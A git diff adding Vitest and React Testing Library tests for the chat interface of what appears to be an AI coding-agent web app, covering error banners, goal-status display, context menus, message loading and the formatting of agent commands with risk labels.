+  const pressBuildShortcut = () => {
+    fireEvent.keyDown(document, { key: "Enter", metaKey: true });
+    fireEvent.keyDown(document, { key: "Enter", ctrlKey: true });
+  };
+
+  const sentBuildPrompt = () =>
+    mockSend.mock.calls.some(([message]) =>
+      JSON.stringify(message).includes(BUILD_PROMPT),
+    );
+
+  it("does not send the build prompt in code mode", () => {
+    act(() => {
+      useConversationStore.setState({
+        conversationMode: "code",
+        planContent: null,
+      });
+    });
+
+    renderInterface();
+    pressBuildShortcut();
+
+    expect(sentBuildPrompt()).toBe(false);
+  });
+
+  it("does not send the build prompt in code mode when a plan exists", () => {
+    act(() => {
+      useConversationStore.setState({
+        conversationMode: "code",
+        planContent: "# Plan\n\n- step one",
+      });
+    });
+
+    renderInterface();
+    pressBuildShortcut();
+
+    expect(sentBuildPrompt()).toBe(false);
+  });
+
+  it("does not send the build prompt in plan mode when no plan exists", () => {
+    act(() => {
+      useConversationStore.setState({
+        conversationMode: "plan",
+        planContent: null,
+      });
+    });
+
+    renderInterface();
+    pressBuildShortcut();
+
+    expect(sentBuildPrompt()).toBe(false);
+  });
+
+  it("sends the build prompt in plan mode when a plan exists", async () => {
+    act(() => {
+      useConversationStore.setState({
+        conversationMode: "plan",
+        planContent: "# Plan\n\n- step one",
+      });
+    });
+
+    renderInterface();
+    fireEvent.keyDown(document, { key: "Enter", metaKey: true });
+
+    await waitFor(() => {
+      expect(sentBuildPrompt()).toBe(true);
+    });
+  });
+});
diff --git a/__tests__/components/chat/error-message-banner.test.tsx b/__tests__/components/chat/error-message-banner.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ede61424753038ffb1d9baf44010b47e8dbdf963
--- /dev/null
+++ b/__tests__/components/chat/error-message-banner.test.tsx
@@ -0,0 +1,214 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { ErrorMessageBanner } from "#/components/features/chat/error-message-banner";
+
+const toastMocks = vi.hoisted(() => ({
+  displayErrorToast: vi.fn(),
+}));
+
+vi.mock("#/utils/custom-toast-handlers", () => ({
+  displayErrorToast: toastMocks.displayErrorToast,
+}));
+
+describe("ErrorMessageBanner", () => {
+  afterEach(() => {
+    vi.restoreAllMocks();
+    toastMocks.displayErrorToast.mockClear();
+  });
+
+  it("calls onDismiss when the close button is clicked", async () => {
+    const user = userEvent.setup();
+    const onDismiss = vi.fn();
+
+    render(
+      <ErrorMessageBanner
+        message="Something went wrong"
+        onDismiss={onDismiss}
+      />,
+    );
+
+    await user.click(screen.getByTestId("error-message-banner-dismiss"));
+    expect(onDismiss).toHaveBeenCalledTimes(1);
+  });
+
+  it("calls onRetry when the retry button is clicked", async () => {
+    const user = userEvent.setup();
+    const onRetry = vi.fn();
+
+    render(
+      <ErrorMessageBanner
+        message="Unable to connect to server"
+        onRetry={onRetry}
+      />,
+    );
+
+    await user.click(screen.getByTestId("error-message-banner-retry"));
+    expect(onRetry).toHaveBeenCalledTimes(1);
+  });
+
+  it("shows a red error icon beside the message", () => {
+    render(<ErrorMessageBanner message="Something went wrong" />);
+
+    const icon = screen.getByTestId("error-message-banner-icon");
+    expect(icon).toHaveStyle({ color: "var(--oh-status-error)" });
+  });
+
+  it("uses a warning icon for non-internal outcomes", () => {
+    render(
+      <ErrorMessageBanner
+        message="Incorrect API key"
+        classification={{
+          kind: "auth",
+          retryable: false,
+          user_action: "settings",
+        }}
+      />,
+    );
+
+    expect(screen.getByTestId("warning-message-banner-icon")).toHaveClass(
+      "text-[var(--oh-warning)]",
+    );
+  });
+
+  it("uses the error icon for internal outcomes", () => {
+    render(
+      <ErrorMessageBanner
+        message="Something went wrong"
+        classification={{
+          kind: "internal",
+          retryable: false,
+          user_action: "none",
+        }}
+      />,
+    );
+
+    expect(screen.getByTestId("error-message-banner-icon")).toHaveStyle({
+      color: "var(--oh-status-error)",
+    });
+  });
+
+  it("uses the error icon for unknown (diagnostic) outcomes", () => {
+    render(
+      <ErrorMessageBanner
+        message="Something went wrong"
+        classification={{
+          kind: "unknown",
+          retryable: false,
+          user_action: "none",
+        }}
+      />,
+    );
+
+    expect(screen.getByTestId("error-message-banner-icon")).toHaveStyle({
+      color: "var(--oh-status-error)",
+    });
+  });
+
+  it("uses greyscale theme tokens instead of red error styling", () => {
+    render(<ErrorMessageBanner message="Something went wrong" />);
+
+    const banner = screen.getByTestId("error-message-banner");
+    expect(banner.className).toContain("border-[var(--oh-border)]");
+    expect(banner.className).toContain("bg-[var(--oh-surface-raised)]");
+    expect(banner.className).not.toContain("#FF0006");
+    expect(banner.className).not.toContain("#4A0709");
+  });
+
+  it("shows a View More / View Less toggle for long messages", async () => {
+    const user = userEvent.setup();
+    const longMessage = "a".repeat(400);
+
+    render(<ErrorMessageBanner message={longMessage} />);
+
+    const toggle = screen.getByTestId("error-message-banner-toggle");
+    expect(toggle).toHaveTextContent("COMMON$VIEW_MORE");
+
+    await user.click(toggle);
+    expect(toggle).toHaveTextContent("COMMON$VIEW_LESS");
+  });
+
+  it("copies the full error message when the copy button is clicked", async () => {
+    const user = userEvent.setup();
+    const longMessage = `first line\n${"long error detail ".repeat(40)}`;
+    const writeText = vi.fn().mockResolvedValue(undefined);
+    vi.spyOn(navigator.clipboard, "writeText").mockImplementation(writeText);
+
+    render(<ErrorMessageBanner message={longMessage} onDismiss={vi.fn()} />);
+
+    await user.click(screen.getByTestId("error-message-banner-copy"));
+
+    expect(writeText).toHaveBeenCalledWith(longMessage);
+    await waitFor(() =>
+      expect(
+        screen.getByTestId("error-message-banner-copy"),
+      ).toHaveAccessibleName("BUTTON$COPIED"),
+    );
+  });
+
+  it("shows an error toast when the copy button cannot write to the clipboard", async () => {
+    const user = userEvent.setup();
+    const writeText = vi.fn().mockRejectedValue(new Error("denied"));
+    vi.spyOn(navigator.clipboard, "writeText").mockImplementation(writeText);
+
+    render(<ErrorMessageBanner message="copy failed" />);
+
+    await user.click(screen.getByTestId("error-message-banner-copy"));
+
+    expect(writeText).toHaveBeenCalledWith("copy failed");
+    expect(toastMocks.displayErrorToast).toHaveBeenCalledWith(
+      "CHAT_INTERFACE$CHAT_MESSAGE_COPY_FAILED",
+    );
+    expect(
+      screen.getByTestId("error-message-banner-copy"),
+    ).toHaveAccessibleName("BUTTON$COPY");
+  });
+
+  it("renders a code-specific header for a known ACP error code", () => {
+    render(
+      <ErrorMessageBanner
+        message="[-32603] Internal error: 401 invalid x-api-key"
+        code="ACPAuthRequired"
+      />,
+    );
+
+    const header = screen.getByTestId("error-message-banner-header");
+    expect(header).toHaveTextContent("ERROR$ACP_AUTH_REQUIRED_TITLE");
+    // The detail is still shown verbatim below the header.
+    expect(
+      screen.getByTestId("error-message-banner-content"),
+    ).toHaveTextContent("invalid x-api-key");
+  });
+
+  it("renders no header for an unknown or absent code", () => {
+    render(<ErrorMessageBanner message="boom" code={null} />);
+    expect(
+      screen.queryByTestId("error-message-banner-header"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows a re-auth action and calls onReauth when provided", async () => {
+    const user = userEvent.setup();
+    const onReauth = vi.fn();
+
+    render(
+      <ErrorMessageBanner
+        message="Authentication failed"
+        code="ACPAuthRequired"
+        onReauth={onReauth}
+      />,
+    );
+
+    const reauth = screen.getByTestId("error-message-banner-reauth");
+    expect(reauth).toHaveTextContent("ERROR$ACP_UPDATE_CREDENTIALS");
+    await user.click(reauth);
+    expect(onReauth).toHaveBeenCalledTimes(1);
+  });
+
+  it("omits the re-auth action when onReauth is not provided", () => {
+    render(<ErrorMessageBanner message="boom" code="ACPPromptError" />);
+    expect(
+      screen.queryByTestId("error-message-banner-reauth"),
+    ).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/chat/goal-status-banner.test.tsx b/__tests__/components/chat/goal-status-banner.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..9c51cfd01baa54b99de50edec79ddb50280f80d2
--- /dev/null
+++ b/__tests__/components/chat/goal-status-banner.test.tsx
@@ -0,0 +1,54 @@
+import { render, screen } from "@testing-library/react";
+import { beforeEach, describe, expect, it } from "vitest";
+import { GoalStatusBanner } from "#/components/features/chat/goal-status-banner";
+import { useGoalStore } from "#/stores/goal-store";
+import { GoalStatus } from "#/types/agent-server/core/events/conversation-state-event";
+
+const CONV = "conv-1";
+
+const makeStatus = (overrides: Partial<GoalStatus> = {}): GoalStatus => ({
+  active: true,
+  status: "running",
+  iteration: 1,
+  max_iterations: 10,
+  objective: "make pytest pass",
+  verdict: null,
+  ...overrides,
+});
+
+describe("<GoalStatusBanner />", () => {
+  beforeEach(() => {
+    useGoalStore.setState({ statusByConversation: {} });
+  });
+
+  it("renders nothing when there is no goal status", () => {
+    const { container } = render(<GoalStatusBanner conversationId={CONV} />);
+    expect(container).toBeEmptyDOMElement();
+  });
+
+  it("renders the live banner while the loop is active", () => {
+    useGoalStore.getState().setStatus(CONV, makeStatus());
+    render(<GoalStatusBanner conversationId={CONV} />);
+    expect(screen.getByTestId("goal-status")).toBeInTheDocument();
+    expect(screen.getByTestId("goal-spinner")).toBeInTheDocument();
+  });
+
+  it("renders nothing once the loop ends (the terminal status renders inline)", () => {
+    useGoalStore.getState().setStatus(
+      CONV,
+      makeStatus({
+        active: false,
+        status: "complete",
+        verdict: { score: 1, complete: true, missing: "" },
+      }),
+    );
+    const { container } = render(<GoalStatusBanner conversationId={CONV} />);
+    expect(container).toBeEmptyDOMElement();
+  });
+
+  it("does not render a status from another conversation", () => {
+    useGoalStore.getState().setStatus("other", makeStatus());
+    const { container } = render(<GoalStatusBanner conversationId={CONV} />);
+    expect(container).toBeEmptyDOMElement();
+  });
+});
diff --git a/__tests__/components/chat/goal-status-content.test.tsx b/__tests__/components/chat/goal-status-content.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..979f9b4be5a5b34b618c072db8f5edaf28f62c1e
--- /dev/null
+++ b/__tests__/components/chat/goal-status-content.test.tsx
@@ -0,0 +1,78 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it } from "vitest";
+import { GoalStatusContent } from "#/components/features/chat/goal-status-content";
+import { I18nKey } from "#/i18n/declaration";
+import { GoalStatus } from "#/types/agent-server/core/events/conversation-state-event";
+
+const makeStatus = (overrides: Partial<GoalStatus> = {}): GoalStatus => ({
+  active: true,
+  status: "running",
+  iteration: 1,
+  max_iterations: 10,
+  objective: "make pytest pass",
+  verdict: null,
+  ...overrides,
+});
+
+describe("<GoalStatusContent />", () => {
+  it("shows the objective and a spinner while running", () => {
+    render(<GoalStatusContent status={makeStatus()} />);
+    expect(screen.getByText("make pytest pass")).toBeInTheDocument();
+    expect(screen.getByTestId("goal-spinner")).toBeInTheDocument();
+    expect(screen.queryByTestId("goal-done")).toBeNull();
+    expect(screen.queryByTestId("goal-ended")).toBeNull();
+  });
+
+  it("shows a green check when complete", () => {
+    render(
+      <GoalStatusContent
+        status={makeStatus({
+          active: false,
+          status: "complete",
+          verdict: { score: 1, complete: true, missing: "" },
+        })}
+      />,
+    );
+    expect(screen.getByTestId("goal-done")).toBeInTheDocument();
+    expect(screen.queryByTestId("goal-spinner")).toBeNull();
+    expect(screen.queryByTestId("goal-ended")).toBeNull();
+  });
+
+  it("shows a muted cross, not a check, when it ends without completing", () => {
+    render(
+      <GoalStatusContent
+        status={makeStatus({
+          active: false,
+          status: "capped",
+          verdict: { score: 0.7, complete: false, missing: "needs more tests" },
+        })}
+      />,
+    );
+    expect(screen.getByTestId("goal-ended")).toBeInTheDocument();
+    expect(screen.queryByTestId("goal-done")).toBeNull();
+  });
+
+  it("expands the judge's missing note for a terminal status", () => {
+    render(
+      <GoalStatusContent
+        status={makeStatus({
+          active: false,
+          status: "capped",
+          verdict: { score: 0.7, complete: false, missing: "needs more tests" },
+        })}
+      />,
+    );
+    expect(screen.getByText(I18nKey.GOAL$MISSING)).toBeInTheDocument();
+  });
+
+  it("keeps the missing note collapsed while running", () => {
+    render(
+      <GoalStatusContent
+        status={makeStatus({
+          verdict: { score: 0.5, complete: false, missing: "needs tests" },
+        })}
+      />,
+    );
+    expect(screen.queryByText(I18nKey.GOAL$MISSING)).toBeNull();
+  });
+});
diff --git a/__tests__/components/chat/message-display-continuity.test.tsx b/__tests__/components/chat/message-display-continuity.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..44f1e0ec16c9de1ccb75411aaa2075fe14e20a03
--- /dev/null
+++ b/__tests__/components/chat/message-display-continuity.test.tsx
@@ -0,0 +1,261 @@
+import { describe, expect, it, vi, beforeEach } from "vitest";
+import { screen } from "@testing-library/react";
+import { QueryClient } from "@tanstack/react-query";
+import { MemoryRouter, Route, Routes } from "react-router";
+import { render } from "@testing-library/react";
+import { QueryClientProvider } from "@tanstack/react-query";
+import { useParamsMock, createUserMessageEvent } from "test-utils";
+import { ChatInterface } from "#/components/features/chat/chat-interface";
+import {
+  useConversationId,
+  useOptionalConversationId,
+} from "#/hooks/use-conversation-id";
+import { useActiveConversation } from "#/hooks/query/use-active-conversation";
+import { useConversationWebSocket } from "#/contexts/conversation-websocket-context";
+import { useConfig } from "#/hooks/query/use-config";
+import { useUnifiedUploadFiles } from "#/hooks/mutation/use-unified-upload-files";
+import { useEventStore } from "#/stores/use-event-store";
+import { useOptimisticUserMessageStore } from "#/stores/optimistic-user-message-store";
+import { useAgentState } from "#/hooks/use-agent-state";
+import { AgentState } from "#/types/agent-state";
+
+// Module-level mocks
+vi.mock("#/hooks/query/use-config");
+vi.mock("#/hooks/mutation/use-unified-upload-files");
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useConversationId: vi.fn(),
+  useOptionalConversationId: vi.fn(),
+}));
+vi.mock("#/hooks/query/use-active-conversation");
+vi.mock("#/contexts/conversation-websocket-context");
+
+vi.mock("#/hooks/use-user-providers", () => ({
+  useUserProviders: () => ({
+    providers: [],
+  }),
+}));
+
+vi.mock("#/hooks/use-conversation-name-context-menu", () => ({
+  useConversationNameContextMenu: () => ({
+    isOpen: false,
+    contextMenuRef: { current: null },
+    handleContextMenu: vi.fn(),
+    handleClose: vi.fn(),
+    handleRename: vi.fn(),
+    handleDelete: vi.fn(),
+  }),
+}));
+
+vi.mock("#/hooks/use-agent-state", () => ({
+  useAgentState: vi.fn(() => ({
+    curAgentState: AgentState.AWAITING_USER_INPUT,
+  })),
+  usePlanningAgentState: vi.fn(() => ({
+    localPlanningConversationId: null,
+    curPlanningAgentState: AgentState.AWAITING_USER_INPUT,
+    isPlanningAgentRunning: false,
+  })),
+}));
+
+vi.mock("#/components/features/chat/btw-messages", () => ({
+  BtwMessages: () => <div data-testid="btw-messages" />,
+}));
+
+vi.mock("#/components/features/chat/chat-suggestions", () => ({
+  ChatSuggestions: () => <div data-testid="chat-suggestions" />,
+}));
+
+vi.mock("#/components/features/chat/interactive-chat-box", () => ({
+  InteractiveChatBox: () => <div data-testid="interactive-chat-box" />,
+}));
+
+vi.mock("#/components/shared/buttons/scroll-to-bottom-button", () => ({
+  ScrollToBottomButton: () => <button type="button">Scroll to bottom</button>,
+}));
+
+vi.mock("#/components/conversation-events/chat", async (importOriginal) => ({
+  ...(await importOriginal<
+    typeof import("#/components/conversation-events/chat")
+  >()),
+  Messages: () => <div data-testid="conversation-messages" />,
+}));
+
+// Helper to render with QueryClient and route params
+const renderWithQueryClient = (
+  ui: React.ReactElement,
+  queryClient: QueryClient,
+  route = "/test-conversation-id",
+) =>
+  render(
+    <QueryClientProvider client={queryClient}>
+      <MemoryRouter initialEntries={[route]}>
+        <Routes>
+          <Route path="/:conversationId" element={ui} />
+          <Route path="/" element={ui} />
+        </Routes>
+      </MemoryRouter>
+    </QueryClientProvider>,
+  );
+
+describe("ChatInterface – message display continuity (spec 3.1)", () => {
+  let queryClient: QueryClient;
+
+  beforeEach(() => {
+    queryClient = new QueryClient({
+      defaultOptions: { queries: { retry: false } },
+    });
+
+    useParamsMock.mockReturnValue({ conversationId: "test-conversation-id" });
+    vi.mocked(useConversationId).mockReturnValue({
+      conversationId: "test-conversation-id",
+    });
+    vi.mocked(useOptionalConversationId).mockReturnValue({
+      conversationId: "test-conversation-id",
+    });
+
+    useOptimisticUserMessageStore.setState({ pendingMessages: [] });
+
+    (useConfig as unknown as ReturnType<typeof vi.fn>).mockReturnValue({
+      data: { app_mode: "local" },
+    });
+    (
+      useUnifiedUploadFiles as unknown as ReturnType<typeof vi.fn>
+    ).mockReturnValue({
+      mutateAsync: vi
+        .fn()
+        .mockResolvedValue({ skipped_files: [], uploaded_files: [] }),
+      isLoading: false,
+    });
+
+    // Default: no active conversation
+    vi.mocked(useActiveConversation).mockReturnValue({
+      data: undefined,
+    } as ReturnType<typeof useActiveConversation>);
+
+    // Default: no websocket context
+    vi.mocked(useConversationWebSocket).mockReturnValue(null);
+  });
+
+  describe("conversations", () => {
+    beforeEach(() => {
+      // Set up conversation
+      vi.mocked(useActiveConversation).mockReturnValue({
+        data: {},
+      } as ReturnType<typeof useActiveConversation>);
+    });
+
+    it("shows messages immediately when agent-server events exist in store, even while loading", () => {
+      // Simulate: history is loading but events already exist in store (e.g., remount)
+      vi.mocked(useConversationWebSocket).mockReturnValue({
+        isLoadingHistory: true,
+        connectionState: "OPEN",
+        mainConnectionState: "OPEN",
+        sendMessage: vi.fn(),
+        reconnect: vi.fn(),
+      });
+
+      // Put agent-server user events in the store
+      const userEvent = createUserMessageEvent("evt-1");
+      useEventStore.setState({
+        events: [userEvent],
+        eventIds: new Set(["evt-1"]),
+        uiEvents: [userEvent],
+      });
+
+      renderWithQueryClient(<ChatInterface />, queryClient);
+
+      // AC1: Messages should display immediately without the full history
+      // skeleton, even if the lazy older-events pagination spinner appears.
+      expect(
+        screen.queryByTestId("chat-messages-skeleton"),
+      ).not.toBeInTheDocument();
+      expect(
+        screen.queryByTestId("conversation-messages") ??
+          screen.queryByTestId("user-message"),
+      ).not.toBeNull();
+    });
+
+    it("shows skeleton when store is empty and loading", () => {
+      // Simulate: first load, no events yet
+      vi.mocked(useConversationWebSocket).mockReturnValue({
+        isLoadingHistory: true,
+        connectionState: "OPEN",
+        mainConnectionState: "OPEN",
+        sendMessage: vi.fn(),
+        reconnect: vi.fn(),
+      });
+
+      // Store is empty
+      useEventStore.setState({
+        events: [],
+        eventIds: new Set(),
+        uiEvents: [],
+      });
+
+      renderWithQueryClient(<ChatInterface />, queryClient);
+
+      // AC5: Genuine first-load shows skeleton
+      expect(screen.getByTestId("chat-messages-skeleton")).toBeInTheDocument();
+    });
+
+    it("hides skeleton when a pending user message is visible during history load", () => {
+      vi.mocked(useConversationWebSocket).mockReturnValue({
+        isLoadingHistory: true,
+        connectionState: "OPEN",
+        mainConnectionState: "OPEN",
+        sendMessage: vi.fn(),
+        reconnect: vi.fn(),
+      });
+
+      useEventStore.setState({
+        events: [],
+        eventIds: new Set(),
+        uiEvents: [],
+      });
+
+      useOptimisticUserMessageStore.getState().enqueuePendingMessage({
+        conversationId: "test-conversation-id",
+        text: "hello from home",
+      });
+
+      renderWithQueryClient(<ChatInterface />, queryClient);
+
+      expect(
+        screen.queryByTestId("chat-messages-skeleton"),
+      ).not.toBeInTheDocument();
+      expect(screen.getByTestId("user-message")).toHaveTextContent(
+        "hello from home",
+      );
+    });
+
+    it("shows messages when loading is already false on mount (edge case)", () => {
+      // Simulate: component re-mounts when WebSocket has already finished loading
+      vi.mocked(useConversationWebSocket).mockReturnValue({
+        isLoadingHistory: false,
+        connectionState: "OPEN",
+        mainConnectionState: "OPEN",
+        sendMessage: vi.fn(),
+        reconnect: vi.fn(),
+      });
+
+      // agent-server events in store
+      const userEvent = createUserMessageEvent("evt-2");
+      useEventStore.setState({
+        events: [userEvent],
+        eventIds: new Set(["evt-1"]),
+        uiEvents: [userEvent],
+      });
+
+      renderWithQueryClient(<ChatInterface />, queryClient);
+
+      // Messages should display without the full history skeleton.
+      expect(
+        screen.queryByTestId("chat-messages-skeleton"),
+      ).not.toBeInTheDocument();
+      expect(
+        screen.queryByTestId("conversation-messages") ??
+          screen.queryByTestId("user-message"),
+      ).not.toBeNull();
+    });
+  });
+});
diff --git a/__tests__/components/context-menu/context-menu-list-item.test.tsx b/__tests__/components/context-menu/context-menu-list-item.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ffedba06e13d5fe0acdd84fd6423820ee2db0d55
--- /dev/null
+++ b/__tests__/components/context-menu/context-menu-list-item.test.tsx
@@ -0,0 +1,44 @@
+import { describe, it, expect, vi } from "vitest";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { ContextMenuListItem } from "#/components/features/context-menu/context-menu-list-item";
+
+describe("ContextMenuListItem", () => {
+  it("should render the component with the children", () => {
+    const onClickMock = vi.fn();
+    render(
+      <ContextMenuListItem onClick={onClickMock}>Test</ContextMenuListItem>,
+    );
+
+    expect(screen.getByTestId("context-menu-list-item")).toBeInTheDocument();
+    expect(screen.getByText("Test")).toBeInTheDocument();
+  });
+
+  it("should call the onClick callback when clicked", async () => {
+    const user = userEvent.setup();
+    const onClickMock = vi.fn();
+    render(
+      <ContextMenuListItem onClick={onClickMock}>Test</ContextMenuListItem>,
+    );
+
+    const element = screen.getByTestId("context-menu-list-item");
+    await user.click(element);
+
+    expect(onClickMock).toHaveBeenCalledOnce();
+  });
+
+  it("should not call the onClick callback when clicked and the button is disabled", async () => {
+    const user = userEvent.setup();
+    const onClickMock = vi.fn();
+    render(
+      <ContextMenuListItem onClick={onClickMock} isDisabled>
+        Test
+      </ContextMenuListItem>,
+    );
+
+    const element = screen.getByTestId("context-menu-list-item");
+    await user.click(element);
+
+    expect(onClickMock).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/components/context-menu/tools-context-menu.test.tsx b/__tests__/components/context-menu/tools-context-menu.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ab5f748d1a38ed5ed03b2a20a54e4cf409f167a7
--- /dev/null
+++ b/__tests__/components/context-menu/tools-context-menu.test.tsx
@@ -0,0 +1,126 @@
+import { describe, it, expect, vi } from "vitest";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import React from "react";
+import { adaptSystemMessage } from "#/utils/system-message-adapter";
+import { EventState } from "#/stores/use-event-store";
+import { SystemMessageModal } from "#/components/features/conversation-panel/system-message-modal";
+import { ToolsContextMenu } from "#/components/features/controls/tools-context-menu";
+
+const v1Event: EventState["events"] = [
+  {
+    id: "v1-id",
+    timestamp: "2025-12-30T12:00:00Z",
+    source: "agent",
+    system_prompt: {
+      type: "text",
+      text: "v1 prompt",
+    },
+    tools: [
+      {
+        type: "function",
+        function: {
+          name: "bash",
+          description: "Execute bash",
+          parameters: {},
+        },
+      },
+    ],
+  },
+];
+
+const adaptedResult = adaptSystemMessage(v1Event);
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => ({ data: { conversation_version: "V1" } }),
+}));
+
+vi.mock("#/hooks/use-user-providers", () => ({
+  useUserProviders: () => ({ providers: ["test"] }),
+}));
+
+describe("SystemMessage UI Rendering", () => {
+  it("should render the 'Show Agent Tools' button in the context menu", () => {
+    render(
+      <ToolsContextMenu
+        onClose={() => {}}
+        onShowSkills={() => {}}
+        onShowPlugins={() => {}}
+        onShowHooks={() => {}}
+        onShowAgentTools={() => {}}
+      />,
+    );
+
+    expect(screen.getByTestId("show-agent-tools-button")).toBeInTheDocument();
+  });
+
+  it("should display the adapted v1 system prompt content correctly", () => {
+    render(
+      <SystemMessageModal
+        isOpen
+        onClose={() => {}}
+        systemMessage={adaptedResult}
+      />,
+    );
+
+    const messageElement = screen.getByText("v1 prompt");
+
+    expect(messageElement).toBeDefined();
+    expect(messageElement).toBeVisible();
+  });
+});
+
+describe("ToolsContextMenu - Switch agent profile", () => {
+  it("hides the Switch agent profile item unless the caller enables it", () => {
+    // The gate (pre-start only + profiles available) is owned by
+    // ChatInputActions; without the prop the item — and its provider-backed
+    // submenu content — must not mount.
+    render(
+      <ToolsContextMenu
+        onClose={() => {}}
+        onShowSkills={() => {}}
+        onShowPlugins={() => {}}
+        onShowHooks={() => {}}
+        onShowAgentTools={() => {}}
+      />,
+    );
+
+    expect(
+      screen.queryByTestId("switch-agent-profile-button"),
+    ).not.toBeInTheDocument();
+  });
+});
+
+describe("ToolsContextMenu - Show Plugins", () => {
+  it("renders the Show Plugins item and calls onShowPlugins when clicked", async () => {
+    const onShowPlugins = vi.fn();
+    render(
+      <ToolsContextMenu
+        onClose={() => {}}
+        onShowSkills={() => {}}
+        onShowPlugins={onShowPlugins}
+        onShowHooks={() => {}}
+        onShowAgentTools={() => {}}
+        shouldShowPlugins
+      />,
+    );
+
+    await userEvent.click(screen.getByTestId("show-plugins-button"));
+
+    expect(onShowPlugins).toHaveBeenCalledTimes(1);
+  });
+
+  it("hides the Show Plugins item when the conversation has no attached plugins", () => {
+    render(
+      <ToolsContextMenu
+        onClose={() => {}}
+        onShowSkills={() => {}}
+        onShowPlugins={() => {}}
+        onShowHooks={() => {}}
+        onShowAgentTools={() => {}}
+      />,
+    );
+
+    expect(screen.queryByTestId("show-plugins-button")).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/conversation-events/chat/action-event-content.test.ts b/__tests__/components/conversation-events/chat/action-event-content.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..3867e94ef11af38fdd0d5bc0ef58c16fc5d521a5
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/action-event-content.test.ts
@@ -0,0 +1,491 @@
+import { describe, expect, it } from "vitest";
+import { getActionContent } from "#/components/conversation-events/chat/event-content-helpers/get-action-content";
+import { ActionEvent, SecurityRisk } from "#/types/agent-server/core";
+import { Action } from "#/types/agent-server/core/base/action";
+
+const makeActionEvent = (
+  action: Action,
+  securityRisk: SecurityRisk = SecurityRisk.UNKNOWN,
+): ActionEvent => ({
+  id: "action-formatting",
+  timestamp: "2026-07-13T00:00:00.000Z",
+  source: "agent",
+  thought: [],
+  thinking_blocks: [],
+  action,
+  tool_name: "test_tool",
+  tool_call_id: "tool-call-formatting",
+  tool_call: {
+    id: "tool-call-formatting",
+    type: "function",
+    function: {
+      name: "test_tool",
+      arguments: "{}",
+    },
+  },
+  llm_response_id: "response-formatting",
+  security_risk: securityRisk,
+});
+
+describe("action event content", () => {
+  describe("terminal commands", () => {
+    it("shows high-risk context with an execute-bash command", () => {
+      const event = makeActionEvent(
+        {
+          kind: "ExecuteBashAction",
+          command: "rm -rf build",
+          is_input: false,
+          timeout: 30,
+          reset: false,
+        },
+        SecurityRisk.HIGH,
+      );
+
+      expect(getActionContent(event)).toBe(
+        "Command:\n`rm -rf build`\n\nSECURITY$HIGH_RISK",
+      );
+    });
+
+    it("shows medium-risk context with a terminal command", () => {
+      const event = makeActionEvent(
+        {
+          kind: "TerminalAction",
+          command: "npm publish",
+          is_input: false,
+          timeout: null,
+          reset: false,
+        },
+        SecurityRisk.MEDIUM,
+      );
+
+      expect(getActionContent(event)).toBe(
+        "Command:\n`npm publish`\n\nSECURITY$MEDIUM_RISK",
+      );
+    });
+
+    it("does not add a warning to a low-risk command", () => {
+      const event = makeActionEvent(
+        {
+          kind: "ExecuteBashAction",
+          command: "pwd",
+          is_input: false,
+          timeout: null,
+          reset: false,
+        },
+        SecurityRisk.LOW,
+      );
+
+      expect(getActionContent(event)).toBe("Command:\n`pwd`");
+    });
+  });
+
+  describe("file changes", () => {
+    it("shows the destination and contents for a new file", () => {
+      const event = makeActionEvent({
+        kind: "FileEditorAction",
+        command: "create",
+        path: "/workspace/hello.ts",
+        file_text: "export const hello = 'world';",
+        old_str: null,
+        new_str: null,
+        insert_line: null,
+        view_range: null,
+      });
+
+      expect(getActionContent(event)).toBe(
+        "/workspace/hello.ts\nexport const hello = 'world';",
+      );
+    });
+
+    it("truncates a long new file after 1,000 characters", () => {
+      const fileText = `${"a".repeat(1_000)}tail`;
+      const event = makeActionEvent({
+        kind: "StrReplaceEditorAction",
+        command: "create",
+        path: "/workspace/large.txt",
+        file_text: fileText,
+        old_str: null,
+        new_str: null,
+        insert_line: null,
+        view_range: null,
+      });
+
+      expect(getActionContent(event)).toBe(
+        `/workspace/large.txt\n${"a".repeat(1_000)}...`,
+      );
+    });
+
+    it("preserves a new file containing exactly 1,000 characters", () => {
+      const fileText = "b".repeat(1_000);
+      const event = makeActionEvent({
+        kind: "FileEditorAction",
+        command: "create",
+        path: "/workspace/boundary.txt",
+        file_text: fileText,
+        old_str: null,
+        new_str: null,
+        insert_line: null,
+        view_range: null,
+      });
+
+      expect(getActionContent(event)).toBe(
+        `/workspace/boundary.txt\n${fileText}`,
+      );
+    });
+
+    it("does not expose file text for a non-create edit", () => {
+      const event = makeActionEvent({
+        kind: "FileEditorAction",
+        command: "str_replace",
+        path: "/workspace/existing.ts",
+        file_text: "not displayable",
+        old_str: "before",
+        new_str: "after",
+        insert_line: null,
+        view_range: null,
+      });
+
+      expect(getActionContent(event)).toBe("");
+    });
+
+    it("does not render a create action without file contents", () => {
+      const event = makeActionEvent({
+        kind: "StrReplaceEditorAction",
+        command: "create",
+        path: "/workspace/empty.ts",
+        file_text: null,
+        old_str: null,
+        new_str: null,
+        insert_line: null,
+        view_range: null,
+      });
+
+      expect(getActionContent(event)).toBe("");
+    });
+  });
+
+  describe("agent narration and tools", () => {
+    it("preserves a thought exactly", () => {
+      const event = makeActionEvent({
+        kind: "ThinkAction",
+        thought: "I should inspect the configuration next.",
+      });
+
+      expect(getActionContent(event)).toBe(
+        "I should inspect the configuration next.",
+      );
+    });
+
+    it("trims surrounding whitespace from a finish message", () => {
+      const event = makeActionEvent({
+        kind: "FinishAction",
+        message: "  Everything is ready. \n",
+      });
+
+      expect(getActionContent(event)).toBe("Everything is ready.");
